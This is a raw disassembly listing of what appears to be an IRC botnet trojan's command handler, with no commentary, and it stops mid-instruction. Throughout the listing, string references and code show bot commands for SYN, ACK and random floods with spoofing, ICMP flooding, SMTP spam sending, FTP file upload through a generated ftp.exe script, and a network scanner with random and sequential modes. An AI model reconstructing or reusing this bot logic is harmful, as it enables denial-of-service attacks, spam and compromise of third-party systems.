push offset aDdos_tcpf ; "ddos.tcpf" call _strcmp pop ecx test eax, eax pop ecx jz loc_411A68 push [ebp+arg_8] ; Str2 push offset aUtil_email ; "util.email" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4118A5 lea eax, [ebp+var_3F8] push edi ; Source push eax ; Dest call _strcpy push [ebp+Str1] ; Str call _atoi push [ebp+Src] ; Source mov [ebp+Str1], eax lea eax, [ebp+var_DB0] push eax ; Dest call _strcpy push [ebp+Source] ; Source lea eax, [ebp+var_BA8] push eax ; Dest call _strcpy push offset asc_4293B4 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] ; Src call sub_40A7D2 push eax ; Source lea eax, [ebp+var_55C] push eax ; Dest call _strcpy add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call ds:dword_43C590 ; WSAStartup lea eax, [ebp+var_3F8] push eax call ds:dword_43C69C ; gethostbyname push 6 push 1 push 2 mov edi, eax call ds:dword_43C698 ; socket push [ebp+Str1] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+Drive], eax call ds:dword_43C618 ; htons mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax ; Dest call _sprintf add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call ds:dword_43C5C0 ; connect mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call ds:dword_43C630 ; recv lea eax, [ebp+var_CAC] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call ds:dword_43C668 ; send push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call ds:dword_43C630 ; recv push esi call ds:dword_43C6B0 ; closesocket call ds:dword_43C578 ; WSACleanup lea eax, [ebp+var_BA8] push eax push offset unk_4363E0 ; Format loc_411891: ; CODE XREF: sub_40EE51+3B62j ; sub_40EE51+3E3Fj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_413A2F ; --------------------------------------------------------------------------- loc_4118A5: ; CODE XREF: sub_40EE51+28EAj push [ebp+arg_8] ; Str2 push offset aUtil_httpcon ; "util.httpcon" call _strcmp pop ecx test eax, eax pop ecx jz loc_411A3A push [ebp+arg_8] ; Str2 push offset aUtil_hcon ; "util.hcon" call _strcmp pop ecx test eax, eax pop ecx jz loc_411A3A mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F215 push [ebp+arg_8] ; Str2 push offset aFtp_upload ; "ftp.upload" call _strcmp pop ecx test eax, eax pop ecx jnz loc_414F3C push 4 push esi call sub_40D000 pop ecx test eax, eax pop ecx jnz short loc_41190F push esi push offset dword_436388 jmp loc_413BD1 ; --------------------------------------------------------------------------- loc_41190F: ; CODE XREF: sub_40EE51+2AB1j call ds:dword_423054 ; GetTickCount push eax call sub_4172EE pop ecx call _rand push 9 cdq pop ecx idiv ecx push edx call _rand push 63h cdq pop ecx idiv ecx push edx call _rand cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+Filename] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax ; Dest call _sprintf lea eax, [ebp+Filename] push offset Mode ; "ab" push eax ; Filename call _fopen add esp, 20h cmp eax, ebx mov [ebp+File], eax jz loc_40F215 push esi push [ebp+Source] push [ebp+Src] push [ebp+Str1] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax ; File call _fprintf push [ebp+File] ; File call _fclose lea eax, [ebp+Filename] push eax lea eax, [ebp+var_3F8] push offset aSS_5 ; "-s:%s" push eax ; Dest call _sprintf add esp, 2Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call ds:dword_43C58C test eax, eax push edi push esi ; Format jz short loc_4119D9 push offset dword_436310 jmp short loc_4119DE ; --------------------------------------------------------------------------- loc_4119D9: ; CODE XREF: sub_40EE51+2B7Fj push offset dword_4362D4 ; Dest loc_4119DE: ; CODE XREF: sub_40EE51+2B86j call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411A07 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h loc_411A07: ; CODE XREF: sub_40EE51+2B98j lea eax, [ebp+Dst] push eax call sub_40BF6F loc_411A13: ; CODE XREF: sub_40EE51+2BE7j lea eax, [ebp+Filename] push 4 push eax call sub_40D000 add esp, 0Ch test eax, eax jz loc_40F215 lea eax, [ebp+Filename] push eax call sub_4199AA jmp short loc_411A13 ; --------------------------------------------------------------------------- loc_411A3A: ; CODE XREF: sub_40EE51+2A65j ; sub_40EE51+2A7Cj push [ebp+esi+var_80] push [ebp+Source] push [ebp+Src] push [ebp+Str1] ; Str call _atoi pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] call sub_406AEA jmp loc_414F39 ; --------------------------------------------------------------------------- loc_411A68: ; CODE XREF: sub_40EE51+28BCj ; sub_40EE51+28D3j mov esi, 80h push edi ; Format lea eax, [ebp+var_678] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_678] push eax ; Str2 push offset aSyn ; "syn" call _strcmp add esp, 14h test eax, eax jz short loc_411ACB lea eax, [ebp+var_678] push eax ; Str2 push offset aAck ; "ack" call _strcmp pop ecx test eax, eax pop ecx jz short loc_411ACB lea eax, [ebp+var_678] push eax ; Str2 push offset aRandom ; "random" call _strcmp pop ecx test eax, eax pop ecx jz short loc_411ACB push offset dword_43629C jmp loc_4145B5 ; --------------------------------------------------------------------------- loc_411ACB: ; CODE XREF: sub_40EE51+2C40j ; sub_40EE51+2C57j ... push [ebp+Source] ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_411BF1 push edi ; Format lea eax, [ebp+var_678] push esi ; Count push eax ; Dest call __snprintf push [ebp+Str1] ; Format lea eax, [ebp+var_6F8] push esi ; Count push eax ; Dest call __snprintf push [ebp+Src] ; Str call _atoi mov [ebp+var_574], eax xor eax, eax cmp [ebp+var_9B6], bl push [ebp+Format] ; Format setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_411B62 mov eax, offset aNormal ; "Normal" loc_411B62: ; CODE XREF: sub_40EE51+2D0Aj push [ebp+Source] push [ebp+Src] push [ebp+Str1] push edi push eax push offset dword_436248 ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 0Ch ; int push eax ; Source call sub_416D48 add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D79 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_411BE0 loc_411BCA: ; CODE XREF: sub_40EE51+2D8Dj cmp [ebp+var_560], ebx jnz loc_4145C3 push 32h call ds:dword_423060 ; Sleep jmp short loc_411BCA ; --------------------------------------------------------------------------- loc_411BE0: ; CODE XREF: sub_40EE51+2D77j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_436200 jmp loc_413BD1 ; --------------------------------------------------------------------------- loc_411BF1: ; CODE XREF: sub_40EE51+2C8Bj push offset dword_4361B8 jmp loc_4145B5 ; --------------------------------------------------------------------------- loc_411BFB: ; CODE XREF: sub_40EE51+2877j ; sub_40EE51+288Ej ... cmp ds:dword_43C708, ebx mov esi, [ebp+arg_4] jnz loc_411D03 mov eax, [ebp+var_8] push 7Fh ; Count mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi ; Source push eax ; Dest call _strncpy push [ebp+Str1] ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_318], eax call _atoi push [ebp+Source] ; Str mov [ebp+var_314], eax call _atoi push 7Fh ; Count mov [ebp+var_310], eax push [ebp+Format] ; Source lea eax, [ebp+var_418] push eax ; Dest call _strncpy push [ebp+var_310] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_314] push eax lea eax, [ebp+Dst] push [ebp+var_318] push offset unk_436160 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Eh ; int push eax ; Source call sub_416D48 add esp, 48h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40AF81 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_411CF2 loc_411CE0: ; CODE XREF: sub_40EE51+2E9Fj cmp [ebp+var_2FC], ebx jnz short loc_411D1C push 32h call ds:dword_423060 ; Sleep jmp short loc_411CE0 ; --------------------------------------------------------------------------- loc_411CF2: ; CODE XREF: sub_40EE51+2E8Dj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_436118 jmp loc_4128BC ; --------------------------------------------------------------------------- loc_411D03: ; CODE XREF: sub_40EE51+2DB3j push 1FFh ; Count lea eax, [ebp+Dst] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax ; Dest call _strncpy loc_411D19: ; CODE XREF: sub_40EE51+3A77j add esp, 0Ch loc_411D1C: ; CODE XREF: sub_40EE51+2E95j ; sub_40EE51+2FEAj ... cmp [ebp+var_8], ebx jnz loc_414DFC push ebx push [ebp+var_4] loc_411D29: ; CODE XREF: sub_40EE51+565Ej lea eax, [ebp+Dst] push eax push [ebp+Format] push esi jmp loc_4145E0 ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_40EE51+2832j ; sub_40EE51+2849j ... mov eax, [ebp+var_8] push 7Fh ; Count mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi ; Source push eax ; Dest call _strncpy push [ebp+Str1] ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_318], eax call _atoi push [ebp+Source] ; Str mov [ebp+var_314], eax call _atoi mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_411DA1 push esi ; Str call _atoi pop ecx mov [ebp+var_30C], eax jmp short loc_411DA7 ; --------------------------------------------------------------------------- loc_411DA1: ; CODE XREF: sub_40EE51+2F3Fj mov [ebp+var_30C], ebx loc_411DA7: ; CODE XREF: sub_40EE51+2F4Ej push 7Fh ; Count lea eax, [ebp+var_418] push [ebp+Format] ; Source push eax ; Dest call _strncpy push [ebp+var_310] mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_314] push eax lea eax, [ebp+Dst] push [ebp+var_318] push offset dword_4360A8 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Fh ; int push eax ; Source call sub_416D48 add esp, 30h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B10D push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_411E4B loc_411E35: ; CODE XREF: sub_40EE51+2FF8j cmp [ebp+var_2FC], ebx jnz loc_411D1C push 32h call ds:dword_423060 ; Sleep jmp short loc_411E35 ; --------------------------------------------------------------------------- loc_411E4B: ; CODE XREF: sub_40EE51+2FE2j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_436060 jmp loc_4128BC ; --------------------------------------------------------------------------- loc_411E5C: ; CODE XREF: sub_40EE51+2804j ; sub_40EE51+281Bj push 8 call sub_416F90 push [ebp+Str1] ; Str mov [ebp+arg_8], eax call _atoi add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 258h jle short loc_411EAF push [ebp+arg_8] lea eax, [ebp+Dst] push offset unk_436014 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 loc_411EA7: ; CODE XREF: sub_40EE51+4468j add esp, 20h jmp loc_414F3C ; --------------------------------------------------------------------------- loc_411EAF: ; CODE XREF: sub_40EE51+3027j push edi ; Str call _atoi push [ebp+Str1] ; Str mov [ebp+var_330], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_318], eax call _atoi add esp, 0Ch cmp eax, 5 mov [ebp+var_32C], eax jnb short loc_411EE8 push 5 pop eax mov [ebp+var_32C], eax loc_411EE8: ; CODE XREF: sub_40EE51+308Cj push 3Ch pop ecx cmp eax, ecx jbe short loc_411EF5 mov [ebp+var_32C], ecx loc_411EF5: ; CODE XREF: sub_40EE51+309Cj push [ebp+Source] ; Str call _atoi mov [ebp+var_328], eax mov eax, 320h cmp [ebp+var_328], eax pop ecx jbe short loc_411F17 mov [ebp+var_328], eax loc_411F17: ; CODE XREF: sub_40EE51+30BEj or [ebp+var_314], 0FFFFFFFFh cmp ds:dword_429CB0, ebx mov [ebp+Src], ebx jz short loc_411F6D mov [ebp+File], offset dword_429CB0 loc_411F30: ; CODE XREF: sub_40EE51+30FEj mov eax, [ebp+File] push edi ; Str2 add eax, 0FFFFFFD8h push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_411F53 add [ebp+File], 3Ch inc [ebp+Src] mov eax, [ebp+File] cmp [eax], ebx jnz short loc_411F30 jmp short loc_411F6D ; --------------------------------------------------------------------------- loc_411F53: ; CODE XREF: sub_40EE51+30F0j mov eax, [ebp+Src] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, ds:dword_429CB0[ecx] mov [ebp+var_330], ecx loc_411F6D: ; CODE XREF: sub_40EE51+30D6j ; sub_40EE51+3100j cmp [ebp+var_330], ebx jz loc_414001 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+Str1], edi jz short loc_411FB4 cmp byte ptr [edi], 23h jz short loc_411FB4 push edi ; Format lea eax, [ebp+var_444] push 10h ; Count push eax ; Dest call __snprintf push 78h ; Val push edi ; Str call _strchr add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_412088 ; --------------------------------------------------------------------------- loc_411FB4: ; CODE XREF: sub_40EE51+3131j ; sub_40EE51+3136j cmp [ebp+var_9C7], bl jnz short loc_411FD6 cmp [ebp+var_9C6], bl jnz short loc_411FD6 cmp [ebp+var_9B6], bl jnz short loc_411FD6 push offset unk_435FD0 jmp loc_4145B5 ; --------------------------------------------------------------------------- loc_411FD6: ; CODE XREF: sub_40EE51+3169j ; sub_40EE51+3171j ... push 10h lea eax, [ebp+Src] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+Src], edi push [ebp+arg_4] call ds:dword_43C5BC ; getsockname mov al, [ebp+var_9C7] push edi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+Drive], eax push [ebp+Drive] ; Count call ds:dword_43C6A4 ; inet_ntoa push eax ; Source lea eax, [ebp+var_444] push eax ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_412082 xor eax, eax cmp [ebp+var_9C7], bl push 30h ; Ch setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax ; Str call _strrchr pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+File+3], bl jle short loc_412076 loc_412054: ; CODE XREF: sub_40EE51+3223j cmp eax, ebx jz short loc_412076 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, edi jl short loc_412054 loc_412076: ; CODE XREF: sub_40EE51+3201j ; sub_40EE51+3205j mov [ebp+var_304], 1 jmp short loc_412088 ; --------------------------------------------------------------------------- loc_412082: ; CODE XREF: sub_40EE51+31DBj mov [ebp+var_304], ebx loc_412088: ; CODE XREF: sub_40EE51+315Ej ; sub_40EE51+322Fj mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_4120D9 loc_4120C6: ; CODE XREF: sub_40EE51+32ABj push esi ; Format loc_4120C7: ; CODE XREF: sub_40EE51+3295j lea eax, [ebp+var_3B4] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_412104 ; --------------------------------------------------------------------------- loc_4120D9: ; CODE XREF: sub_40EE51+3273j mov eax, [ebp+Str1] cmp eax, ebx jz short loc_4120E8 cmp byte ptr [eax], 23h jnz short loc_4120E8 push eax jmp short loc_4120C7 ; --------------------------------------------------------------------------- loc_4120E8: ; CODE XREF: sub_40EE51+328Dj ; sub_40EE51+3292j mov esi, offset aS_5 ; "#!S#" push offset byte_4397BC ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4120C6 mov [ebp+var_3B4], bl loc_412104: ; CODE XREF: sub_40EE51+3286j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_412116 mov eax, offset aSequential ; "Sequential" loc_412116: ; CODE XREF: sub_40EE51+32BEj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+Dst] push offset unk_435F4C ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 8 ; int push eax ; Source call sub_416D48 add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40796C push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4121A4 loc_41218E: ; CODE XREF: sub_40EE51+3351j cmp [ebp+var_300], ebx jnz loc_4145C3 push 32h call ds:dword_423060 ; Sleep jmp short loc_41218E ; --------------------------------------------------------------------------- loc_4121A4: ; CODE XREF: sub_40EE51+333Bj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_435F04 jmp loc_413BD1 ; --------------------------------------------------------------------------- loc_4121B5: ; CODE XREF: sub_40EE51+27C4j ; sub_40EE51+27DBj push edi ; Str call _atoi imul eax, 234h pop ecx cmp ds:byte_442088[eax], bl jz loc_414F3C cmp [ebp+var_C], ebx jz loc_414F3C push [ebp+Str1] ; Str call _strlen push edi ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax lea eax, [ebp+Dst] push esi push offset dword_435EF8 ; Format push eax ; Dest call _sprintf add esp, 20h cmp esi, ebx jz loc_414F3C push edi ; Str call _atoi test eax, eax pop ecx jle loc_414F3C push edi ; Str call _atoi cmp eax, 1F4h pop ecx jge loc_414F3C push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push [ebp+Str1] ; Str push edi ; Str call _atoi imul eax, 234h pop ecx push ds:dword_44207C[eax] ; int call sub_40D670 push edi ; Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr ds:dword_441E70[eax], 73h jnz loc_414F3C push esi push edi ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_442088 push eax push [ebp+Str1] push offset aSSS_1 ; "[%s] * %s %s" loc_41229D: ; CODE XREF: sub_40EE51+3549j lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 loc_4122C2: ; CODE XREF: sub_40EE51+5851j add esp, 28h jmp loc_414F3C ; --------------------------------------------------------------------------- loc_4122CA: ; CODE XREF: sub_40EE51+2796j ; sub_40EE51+27ADj push edi ; Str call _atoi imul eax, 234h pop ecx cmp ds:byte_442088[eax], bl jz loc_414F3C cmp [ebp+var_C], ebx jz loc_414F3C push [ebp+Str1] ; Str call _strlen push edi ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 14h cmp esi, ebx jz loc_414F3C push edi ; Str call _atoi test eax, eax pop ecx jle loc_414F3C push edi ; Str call _atoi cmp eax, 1F4h pop ecx jge loc_414F3C push ebx ; int push ebx ; int push esi ; int push [ebp+Str1] ; Str push edi ; Str call _atoi imul eax, 234h pop ecx push ds:dword_44207C[eax] ; int call sub_40D670 push edi ; Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr ds:dword_441E70[eax], 73h jnz loc_414F3C push esi push edi ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_442088 push eax push [ebp+Str1] push offset aSSS_2 ; "[%s] <%s> %s" jmp loc_41229D ; --------------------------------------------------------------------------- loc_41239F: ; CODE XREF: sub_40EE51+2768j ; sub_40EE51+277Fj push edi call ds:dword_43C658 ; inet_addr push [ebp+Str1] ; Str mov [ebp+var_474], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_480], eax call _atoi mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax ; Dest call _strncpy add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Dst] push offset unk_435E8C ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 8 ; int push eax ; Source call sub_416D48 add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset sub_415E26 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_412481 loc_41246B: ; CODE XREF: sub_40EE51+362Ej cmp [ebp+var_464], ebx jnz loc_4144A4 push 32h call ds:dword_423060 ; Sleep jmp short loc_41246B ; --------------------------------------------------------------------------- loc_412481: ; CODE XREF: sub_40EE51+3618j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_435E40 jmp loc_414495 ; --------------------------------------------------------------------------- loc_412492: ; CODE XREF: sub_40EE51+273Aj ; sub_40EE51+2751j push edi ; Str call _atoi push 7Fh ; Count mov [ebp+var_314], eax push [ebp+Str1] ; Source lea eax, [ebp+var_418] push eax ; Dest call _strncpy push [ebp+Src] ; Str call _atoi push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov [ebp+var_318], eax lea eax, [ebp+var_398] push 80h ; Count push eax ; Dest mov [ebp+var_420], esi call __snprintf mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AEDB pop ecx push eax lea eax, [ebp+Dst] push offset unk_435DF4 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 10h ; int push eax ; Source call sub_416D48 add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407BCB push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_41257B loc_412565: ; CODE XREF: sub_40EE51+3728j cmp [ebp+var_300], ebx jnz loc_4144A4 push 32h call ds:dword_423060 ; Sleep jmp short loc_412565 ; --------------------------------------------------------------------------- loc_41257B: ; CODE XREF: sub_40EE51+3712j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_435DA0 jmp loc_414495 ; --------------------------------------------------------------------------- loc_41258C: ; CODE XREF: sub_40EE51+270Cj ; sub_40EE51+2723j push 0FFh ; Count lea eax, [ebp+var_780] push edi ; Source push eax ; Dest call _strncpy push 0FFh ; Count lea eax, [ebp+var_680] push [ebp+Str1] ; Source push eax ; Dest call _strncpy push [ebp+Src] ; Str mov [ebp+var_57C], ebx call _atoi mov [ebp+var_578], eax mov eax, dword ptr [ebp+esi+Args] add esp, 1Ch cmp eax, ebx jz short loc_4125E8 push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4125EE ; --------------------------------------------------------------------------- loc_4125E8: ; CODE XREF: sub_40EE51+3781j mov [ebp+var_570], ebx loc_4125EE: ; CODE XREF: sub_40EE51+3795j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_412605 push esi ; Str call _atoi pop ecx mov [ebp+var_574], eax jmp short loc_41260B ; --------------------------------------------------------------------------- loc_412605: ; CODE XREF: sub_40EE51+37A3j mov [ebp+var_574], ebx loc_41260B: ; CODE XREF: sub_40EE51+37B2j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] push [ebp+Str1] mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+Dst] push offset unk_435D64 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 16h ; int push eax ; Source call sub_416D48 add esp, 28h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4126B9 loc_4126A3: ; CODE XREF: sub_40EE51+3866j cmp [ebp+var_560], ebx jnz loc_411D1C push 32h call ds:dword_423060 ; Sleep jmp short loc_4126A3 ; --------------------------------------------------------------------------- loc_4126B9: ; CODE XREF: sub_40EE51+3850j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_435D14 jmp loc_4128BC ; --------------------------------------------------------------------------- loc_4126CA: ; CODE XREF: sub_40EE51+26DEj ; sub_40EE51+26F5j push 7Fh lea eax, [ebp+var_76C] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_6EC] push [ebp+Str1] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_66C] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_5EC] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_8] push [ebp+Src] mov esi, [ebp+var_4] mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+Str1] mov [ebp+var_770], eax lea eax, [ebp+Dst] push edi push offset dword_435CD8 ; Format push eax ; Dest mov [ebp+var_568], esi call _sprintf add esp, 44h lea eax, [ebp+Dst] push ebx ; int push 0Bh ; int push eax ; Source call sub_416D48 add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D1 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_41279D loc_41278B: ; CODE XREF: sub_40EE51+394Aj cmp [ebp+var_560], ebx jnz short loc_4127B8 push 32h call ds:dword_423060 ; Sleep jmp short loc_41278B ; --------------------------------------------------------------------------- loc_41279D: ; CODE XREF: sub_40EE51+3938j call ds:dword_423088 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset dword_435C90 ; Format push eax ; Dest call _sprintf add esp, 0Ch loc_4127B8: ; CODE XREF: sub_40EE51+3940j cmp [ebp+var_8], ebx jnz loc_414DFC push ebx push esi jmp loc_4145D0 ; --------------------------------------------------------------------------- loc_4127C8: ; CODE XREF: sub_40EE51+2699j ; sub_40EE51+26B0j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_768] push [ebp+Str1] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_6E8] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_668] push [ebp+Format] ; Source push eax ; Dest call _strncpy push 20h ; Count lea eax, [ebp+var_5E8] push [ebp+arg_8] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] push [ebp+Src] mov esi, [ebp+arg_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+Str1] mov [ebp+var_564], eax lea eax, [ebp+Dst] push edi push offset unk_435C50 ; Format push eax ; Dest mov [ebp+var_7F0], esi call _sprintf add 